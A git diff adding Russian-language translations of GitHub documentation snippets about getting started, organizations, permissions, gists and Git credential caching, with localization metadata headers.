b/translations/ru-RU/data/reusables/getting-started/contact-support.md new file mode 100644 index 000000000000..507e7ae9baa8 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/contact-support.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2fddf4855770755a8ceb747b822ad68aef2469fc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110568" +--- +{% data variables.contact.github_support %} помогает устранять неполадки, с которыми вы можете столкнуться при использовании {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Сведения о {% data variables.contact.github_support %}](/github/working-with-github-support/about-github-support). diff --git a/translations/ru-RU/data/reusables/getting-started/contributing-to-projects.md b/translations/ru-RU/data/reusables/getting-started/contributing-to-projects.md new file mode 100644 index 000000000000..c742b6d812fd --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/contributing-to-projects.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 40acb097af5eecfb9ef52753f2939c0e20025e96 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147059877" +--- +{% data variables.product.prodname_dotcom %} объединяет пользователей и позволяет работать с другими проектами. Дополнительные сведения об участии в чужих проектах см. в разделе [Участие в проектах](/get-started/quickstart/contributing-to-projects). diff --git a/translations/ru-RU/data/reusables/getting-started/create-a-repository.md b/translations/ru-RU/data/reusables/getting-started/create-a-repository.md new file mode 100644 index 000000000000..5c5e39b101ca --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/create-a-repository.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3bf7d25fddfd7ac05b6f752c88dbc802ec842eea +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147065461" +--- +Создание репозитория для проекта позволяет хранить код на {% data variables.product.prodname_dotcom %}. Таким образом вы получаете резервную копию результатов работы, которую можно предоставить другим разработчикам. Дополнительные сведения см. в разделе [Создание репозитория](/get-started/quickstart/create-a-repo). diff --git a/translations/ru-RU/data/reusables/getting-started/creating-organizations.md b/translations/ru-RU/data/reusables/getting-started/creating-organizations.md new file mode 100644 index 000000000000..70551a43839e --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/creating-organizations.md @@ -0,0 +1 @@ +You can create new organizations in {% data variables.location.product_location %} to reflect your company or group's structure. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." diff --git a/translations/ru-RU/data/reusables/getting-started/creating-teams.md b/translations/ru-RU/data/reusables/getting-started/creating-teams.md new file mode 100644 index 000000000000..e6fa37f652a4 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/creating-teams.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3ceb9d53dc00b18d7333e1b7fbc881d1c207bebc +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878912" +--- +Команды — это группы участников организации, которым можно предоставить разрешения для определенных репозиториев в рамках отдельной группы. Вы можете создавать отдельные команды или несколько уровней вложенных команд в каждой из своих организаций. Дополнительные сведения см. в разделах [Создание команд](/organizations/organizing-members-into-teams/creating-a-team) и [Добавление людей в команды](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team). diff --git a/translations/ru-RU/data/reusables/getting-started/customizing-and-automating.md b/translations/ru-RU/data/reusables/getting-started/customizing-and-automating.md new file mode 100644 index 000000000000..0e2499617d98 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/customizing-and-automating.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 979a3d147af99125b9750b5d3e6f16c2c0d005fa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110523" +--- +Вы можете использовать средства из {% data variables.product.prodname_marketplace %}, API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} и существующие функции {% data variables.product.product_name %}, чтобы настроить и автоматизировать свой процесс работы. diff --git a/translations/ru-RU/data/reusables/getting-started/enforcing-repo-management-policies.md b/translations/ru-RU/data/reusables/getting-started/enforcing-repo-management-policies.md new file mode 100644 index 000000000000..a684eecaa6aa --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/enforcing-repo-management-policies.md @@ -0,0 +1 @@ +As an enterprise owner, you can set repository management policies for all organizations in {% data variables.location.product_location %}, or allow policies to be set separately in each organization. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise)." diff --git a/translations/ru-RU/data/reusables/getting-started/enterprise-advanced-security.md b/translations/ru-RU/data/reusables/getting-started/enterprise-advanced-security.md new file mode 100644 index 000000000000..395e07012195 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/enterprise-advanced-security.md @@ -0,0 +1 @@ +If you have a GitHub Advanced Security license for your enterprise account, you can enforce policies to manage {% data variables.product.prodname_GH_advanced_security %} features for organizations owned by an enterprise account. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise)." diff --git a/translations/ru-RU/data/reusables/getting-started/fork-a-repository.md b/translations/ru-RU/data/reusables/getting-started/fork-a-repository.md new file mode 100644 index 000000000000..dc29ef7c6f50 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/fork-a-repository.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 16d9c5f248235572163ae3a9df41d345d6e7777f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884513" +--- +Создание вилки репозитория позволит вносить изменения в другой репозиторий, не затрагивая исходный. Дополнительные сведения см. в разделе [Создание вилки репозитория](/get-started/quickstart/fork-a-repo). diff --git a/translations/ru-RU/data/reusables/getting-started/github-pages-enterprise.md b/translations/ru-RU/data/reusables/getting-started/github-pages-enterprise.md new file mode 100644 index 000000000000..12e43d95ca6c --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/github-pages-enterprise.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6b16ece293698922e67d63d4d813b04549c211c3 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110491" +--- +{% data variables.product.prodname_pages %} — это служба размещения статических сайтов, которая принимает файлы HTML, CSS и JavaScript прямо из репозитория и публикует веб-сайт. Вы можете включить или отключить {% data variables.product.prodname_pages %} для участников предприятия на уровне организации. Дополнительные сведения см. в разделах [Настройка {% data variables.product.prodname_pages %} для предприятия](/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise) и "[Сведения о {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages). diff --git a/translations/ru-RU/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md b/translations/ru-RU/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md new file mode 100644 index 000000000000..1c5fd1833db4 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: df4d6c72a79e12ac7b70e190faaaa2b9e42e355a +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110488" +--- +Вы можете предоставить участникам организации, командам и сторонним участникам совместной работы различные уровни доступа к репозиториям, принадлежащим вашей организации, с помощью ролей репозитория. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +Вы также можете настроить доступ к панелям проектов организации и разрешить отдельным участникам организации управлять {% data variables.product.prodname_github_apps %} организации. Дополнительные сведения см. в разделах [Управление доступом к панелям проектов вашей организации](/organizations/managing-access-to-your-organizations-project-boards) и [Управление доступом к приложениям в вашей организации](/organizations/managing-access-to-your-organizations-apps). diff --git a/translations/ru-RU/data/reusables/getting-started/learning-enterprise.md b/translations/ru-RU/data/reusables/getting-started/learning-enterprise.md new file mode 100644 index 000000000000..372ec526e4f7 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/learning-enterprise.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6078ea2bd3e7dd0779accf8430c5846c28362ed5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146139424" +--- +Участники предприятия могут научиться новым навыкам, реализуя интересные и реалистичные проекты в собственном репозитории GitHub с помощью [{% data variables.product.prodname_learning %}](https://skills.github.com/). Каждый курс представляет собой практическое задание, созданное сообществом GitHub и выполняемое под руководством дружелюбного бота. + +Дополнительные сведения см. в разделе [Ресурсы обучения Git и {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/quickstart/git-and-github-learning-resources). diff --git a/translations/ru-RU/data/reusables/getting-started/learning.md b/translations/ru-RU/data/reusables/getting-started/learning.md new file mode 100644 index 000000000000..9f656152b39e --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/learning.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: d4d034e987f33030354e0bb055d88e2a5963455d +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883564" +--- +Вы можете научиться новым навыкам, реализуя интересные и реалистичные проекты в собственном репозитории GitHub с помощью [{% data variables.product.prodname_learning %}](https://skills.github.com/). Каждый курс — это практический урок, созданный сообществом GitHub и проводимый удобным ботом. + +Дополнительные сведения см. в разделе [Ресурсы обучения Git и {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/quickstart/git-and-github-learning-resources). diff --git a/translations/ru-RU/data/reusables/getting-started/managing-enterprise-members.md b/translations/ru-RU/data/reusables/getting-started/managing-enterprise-members.md new file mode 100644 index 000000000000..7c74a811a0bd --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/managing-enterprise-members.md @@ -0,0 +1 @@ +You can manage settings and audit activity for the members of {% data variables.location.product_location %}. You can {% ifversion ghes %}promote an enterprise member to be a site administrator, {% endif %}manage dormant users, view the audit log for user activity, and customize messages that enterprise members will see. For more information, see "[Managing users in your enterprise](/admin/user-management/managing-users-in-your-enterprise)." diff --git a/translations/ru-RU/data/reusables/getting-started/managing-org-members.md b/translations/ru-RU/data/reusables/getting-started/managing-org-members.md new file mode 100644 index 000000000000..fcba27c3c495 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/managing-org-members.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9463f2df181d9187e12f27ed4dce5419daed1f4b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110456" +--- +Вы можете пригласить любого человека стать участником вашей организации, если у него есть личная учетная запись на {% data variables.product.prodname_dotcom %}. Вы также можете удалять участников и восстанавливать бывших участников. Дополнительные сведения см. в разделе [Управление членством в организации](/organizations/managing-membership-in-your-organization). diff --git a/translations/ru-RU/data/reusables/getting-started/managing-org-policies.md b/translations/ru-RU/data/reusables/getting-started/managing-org-policies.md new file mode 100644 index 000000000000..8436aa89f324 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/managing-org-policies.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: bd349781c232db93e07ee8f888fa97f92bb22263 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110443" +--- +Вы можете управлять разрешениями и политиками для ряда различных действий и функций в своей организации. + +Например, чтобы защитить данные организации, можно ограничить создание в ней репозиториев. Вы также можете разрешить или запретить создание вилок частных репозиториев, принадлежащих вашей организации. Дополнительные сведения см. в разделах [Ограничение создания репозиториев в организации](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization) и [Управление политикой ветвления для вашей организации](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization). + +Полный список параметров, которые можно настроить для организации, см. в разделе [Управление параметрами организации](/organizations/managing-organization-settings). diff --git a/translations/ru-RU/data/reusables/getting-started/managing-repo-changes.md b/translations/ru-RU/data/reusables/getting-started/managing-repo-changes.md new file mode 100644 index 000000000000..87b9ff15dbed --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/managing-repo-changes.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 94d9140ed6e8290660a4a556d8f420d93a87edb5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110440" +--- +Вы можете настроить разрешения для создания, передачи и удаления репозиториев в организации, включая указание типов репозиториев, которые могут создавать участники. Дополнительные сведения см. в разделах [Ограничение создания репозиториев в организации](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization) и [Настройка разрешений для удаления или передачи репозиториев](/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories). + +Вы также можете предоставить или ограничить возможность изменять видимость репозитория. Дополнительные сведения см. в разделе [Ограничение на изменение видимости репозитория в организации](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization). diff --git a/translations/ru-RU/data/reusables/getting-started/managing-team-settings.md b/translations/ru-RU/data/reusables/getting-started/managing-team-settings.md new file mode 100644 index 000000000000..94f49d750d08 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/managing-team-settings.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: de00555d66e71e1922077e78b45b3c59e251e85e +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883879" +--- +Вы можете назначить "координатора команды", который способен управлять параметрами и обсуждениями команды, а также обладает другими правами. Дополнительные сведения см. в разделе [Назначение роли координатора команды участнику команды](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member). + +Вы можете управлять назначениями проверки кода для команды, изменять видимость команды, управлять запланированными напоминаниями для команды и выполнять множество других действий в параметрах своей команды. Дополнительные сведения см. в разделе [Организация членов в команды](/organizations/organizing-members-into-teams). diff --git a/translations/ru-RU/data/reusables/getting-started/marketplace.md b/translations/ru-RU/data/reusables/getting-started/marketplace.md new file mode 100644 index 000000000000..a3fd4c7b5de2 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/marketplace.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9bef018102d679fa9379d73fcaa9d7133ef41192 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110424" +--- +{% data variables.product.prodname_marketplace %} содержит интеграции, которые добавляют функциональные возможности и улучшают рабочий процесс. Вы можете искать, просматривать и устанавливать бесплатные и платные средства, включая {% data variables.product.prodname_github_app %}s, {% data variables.product.prodname_oauth_app %} и {% data variables.product.prodname_actions %}, в [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_marketplace %}](/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace). diff --git a/translations/ru-RU/data/reusables/getting-started/math-and-diagrams.md b/translations/ru-RU/data/reusables/getting-started/math-and-diagrams.md new file mode 100644 index 000000000000..11c499abc3c6 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/math-and-diagrams.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ff4fa65700cd685f99a3e94541df48a2f5e77985 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109335" +--- +{% ifversion mermaid %}Вы можете использовать Markdown для добавления отрисованных математических выражений, диаграмм, сопоставлений и трехмерных моделей на вики-страницы. Дополнительные сведения о создании отрисованных математических выражений см. в на странице [Написание математических выражений](/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions). Дополнительные сведения о создании диаграмм, сопоставлений и трехмерных моделей см. на странице [Создание диаграмм](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams).{% endif %} diff --git a/translations/ru-RU/data/reusables/getting-started/open-source-projects.md b/translations/ru-RU/data/reusables/getting-started/open-source-projects.md new file mode 100644 index 000000000000..aa627c746822 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/open-source-projects.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: b6f85d58830154d56937e1fd173a637725683129 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110411" +--- +Участие в проектах с открытым кодом на {% data variables.product.prodname_dotcom %} может оказаться полезным при обучении и накоплении опыта для приобретения любых нужных вам навыков. Дополнительные сведения см. в разделе [Участие в проектах с открытым кодом](https://opensource.guide/how-to-contribute/) в руководствах по открытому исходному коду. + +В разделе [Обзор](https://github.com/explore) вы можете найти персонализированные рекомендации для проектов и описание проблем, возникающих впервые, на основе вашего предыдущего вклада, оценок и других действий.{% ifversion fpt or ghec %} Дополнительные сведения см. в разделе [Способы участия в создании открытого кода на GitHub](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github). +{% endif %} diff --git a/translations/ru-RU/data/reusables/getting-started/org-permissions-and-roles.md b/translations/ru-RU/data/reusables/getting-started/org-permissions-and-roles.md new file mode 100644 index 000000000000..8e9d40bfceaa --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/org-permissions-and-roles.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b15721703c72b9832e5979f7f6948483d76ac5fe +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110408" +--- +Каждый человек в вашей организации имеет роль, определяющую его уровень доступа к ресурсам организации. Роль участника — это роль по умолчанию, и вы можете назначать роли владельца и менеджера по выставлению счетов, а также разрешения координатора команды. Дополнительные сведения см. в статье [о ролях в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). diff --git a/translations/ru-RU/data/reusables/getting-started/packages.md b/translations/ru-RU/data/reusables/getting-started/packages.md new file mode 100644 index 000000000000..09dd40471cc1 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/packages.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 67ce42c1a6400d9a29c3b8b359466d1e7cbd74e9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110403" +--- +{% data variables.product.prodname_registry %} — это служба размещения программных пакетов, которая позволяет размещать программные пакеты частным или открытым способом и использовать их в качестве зависимостей в проектах. Дополнительные сведения см. в разделе [Общие сведения о {% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages). diff --git a/translations/ru-RU/data/reusables/getting-started/participating-in-community.md b/translations/ru-RU/data/reusables/getting-started/participating-in-community.md new file mode 100644 index 000000000000..279b16365d3d --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/participating-in-community.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 218d8cf1897bd20a2a1c40f89e047bd62b31acca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110392" +--- +Существует множество способов для участия в жизни сообщества {% data variables.product.prodname_dotcom %}. Вы можете участвовать в проектах с открытым кодом, взаимодействовать с людьми в {% data variables.product.prodname_gcf %} или учиться с помощью {% data variables.product.prodname_learning %}. diff --git a/translations/ru-RU/data/reusables/getting-started/requiring-2fa.md b/translations/ru-RU/data/reusables/getting-started/requiring-2fa.md new file mode 100644 index 000000000000..7d2d9dcd2a19 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/requiring-2fa.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 150fb8f36f6beb31533882e1852ef61b4ca2798d +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879037" +--- +Вы можете просмотреть, включена ли двухфакторная проверка подлинности для членов вашей организации, и установить принудительную двухфакторную проверку подлинности в своей организации. Дополнительные сведения см. в разделе [Настройка требования двухфакторной проверки подлинности в организации](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization). diff --git a/translations/ru-RU/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md b/translations/ru-RU/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md new file mode 100644 index 000000000000..9ba548ff110f --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 4eab77cd52054886ea47b6718340dfeef192db21 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110376" +--- +Журнал аудита организации позволяет вам, как владельцу организации, просматривать действия, выполненные участниками организации в течение текущего месяца и шести предыдущих месяцев. Дополнительные сведения см. в разделе [Просмотр журнала аудита для вашей организации](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization). + +Вы также можете просмотреть и настроить уровни разрешений для установленных интеграций вашей организации. Дополнительные сведения см. в разделе [Проверка установленных интеграций вашей организации](/organizations/keeping-your-organization-secure/reviewing-your-organizations-installed-integrations). diff --git a/translations/ru-RU/data/reusables/getting-started/set-up-git.md b/translations/ru-RU/data/reusables/getting-started/set-up-git.md new file mode 100644 index 000000000000..3d818a9ab0c5 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/set-up-git.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 985897edc2b1d4c3f886c78efa1f4a14414b0094 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110360" +--- +Синхронизация репозиториев {% data variables.product.prodname_dotcom %} с компьютером позволяет работать локально и отправлять изменения в {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Настройка Git](/get-started/quickstart/set-up-git). diff --git a/translations/ru-RU/data/reusables/getting-started/setting-org-and-repo-permissions.md b/translations/ru-RU/data/reusables/getting-started/setting-org-and-repo-permissions.md new file mode 100644 index 000000000000..161791f8eb37 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/setting-org-and-repo-permissions.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: af3078a643636222b4866e7ce97a877c4fa2cfe1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110355" +--- +Мы рекомендуем предоставить ограниченному числу участников в каждой организации роль владельца организации, которая предоставляет полный административный доступ для этой организации. Дополнительные сведения см. в статье "[Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". + +Для организаций, в которых у вас есть разрешения администратора, вы также можете настроить доступ к каждому репозиторию с детальными уровнями разрешений. Дополнительные сведения см. в разделе [Уровни разрешений репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization). diff --git a/translations/ru-RU/data/reusables/getting-started/sponsors.md b/translations/ru-RU/data/reusables/getting-started/sponsors.md new file mode 100644 index 000000000000..09459fa0d6bf --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/sponsors.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 87b5f458f685d949c51d02cf5c4f306b755c0bf8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110347" +--- +{% data variables.product.prodname_sponsors %} позволяет осуществлять ежемесячный повторяющийся платеж разработчику или организации, которые разрабатывают, создают или обслуживают проекты с открытым кодом, на которые вы полагаетесь. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). diff --git a/translations/ru-RU/data/reusables/getting-started/using-org-community-files-and-moderation-tools.md b/translations/ru-RU/data/reusables/getting-started/using-org-community-files-and-moderation-tools.md new file mode 100644 index 000000000000..56782074d1d5 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/using-org-community-files-and-moderation-tools.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: ad1aa7233f2e3746d4afd3b52af1ebf214ec023d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110339" +--- +Вы можете создавать файлы по умолчанию, обеспечивающие взаимодействие и работу членов сообщества, такие как файл CONTRIBUTING.md, файл CODE_OF_CONDUCT.md или даже шаблоны запросов на вытягивание и вопросов, для своей организации. Эти файлы по умолчанию будут использоваться для любого репозитория, принадлежащего вашей организации, который не содержит собственный файл такого рода. Дополнительные сведения см. в статье "[Создание файла работоспособности сообщества по умолчанию](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)". + +{% data variables.product.prodname_dotcom %} предлагает несколько средств для модерации сообщества и управления им. Дополнительные сведения см. в разделе [Средства для модерации сообщества](/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation#tools-for-moderating-your-community). diff --git a/translations/ru-RU/data/reusables/gist/anonymous-gists-cannot-be-deleted.md b/translations/ru-RU/data/reusables/gist/anonymous-gists-cannot-be-deleted.md new file mode 100644 index 000000000000..3f1afb677afb --- /dev/null +++ b/translations/ru-RU/data/reusables/gist/anonymous-gists-cannot-be-deleted.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: ca7604618def20cc29315280fadb528f0cd8c8a9 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110331" +--- +{% ifversion ghes or ghae %} {% warning %} + +**Предупреждение**. Анонимные gist невозможно удалить из веб-браузера. Чтобы удалить анонимный gist, обратитесь в {% data variables.contact.contact_support %}. Укажите URL-адрес удаляемого gist. + +{% endwarning %} {% endif %} diff --git a/translations/ru-RU/data/reusables/gist/cannot-convert-public-gists-to-secret.md b/translations/ru-RU/data/reusables/gist/cannot-convert-public-gists-to-secret.md new file mode 100644 index 000000000000..299868460deb --- /dev/null +++ b/translations/ru-RU/data/reusables/gist/cannot-convert-public-gists-to-secret.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7edfd5ef0f17127ca7e630cb390bf6bfca6e181d +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110328" +--- +После создания gist его невозможно преобразовать из {% ifversion ghae %}внутреннего{% else %}общедоступного{% endif %} в секретный. diff --git a/translations/ru-RU/data/reusables/git/cache-on-repository-path.md b/translations/ru-RU/data/reusables/git/cache-on-repository-path.md new file mode 100644 index 000000000000..1ac706756622 --- /dev/null +++ b/translations/ru-RU/data/reusables/git/cache-on-repository-path.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8f9c0319dfa66a628e65b010502957e3edc3a55b +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147687210" +--- +1. Чтобы настроить Git для кэширования учетных данных для каждого локального каталога, в котором вы клонируете репозиторий, введите следующую команду. + + ```shell{:copy} + git config --global credential.useHttpPath true + ``` diff --git a/translations/ru-RU/data/reusables/git/clear-stored-gcm-credentials.md b/translations/ru-RU/data/reusables/git/clear-stored-gcm-credentials.md new file mode 100644 index 000000000000..5ca181075a14 --- /dev/null +++ 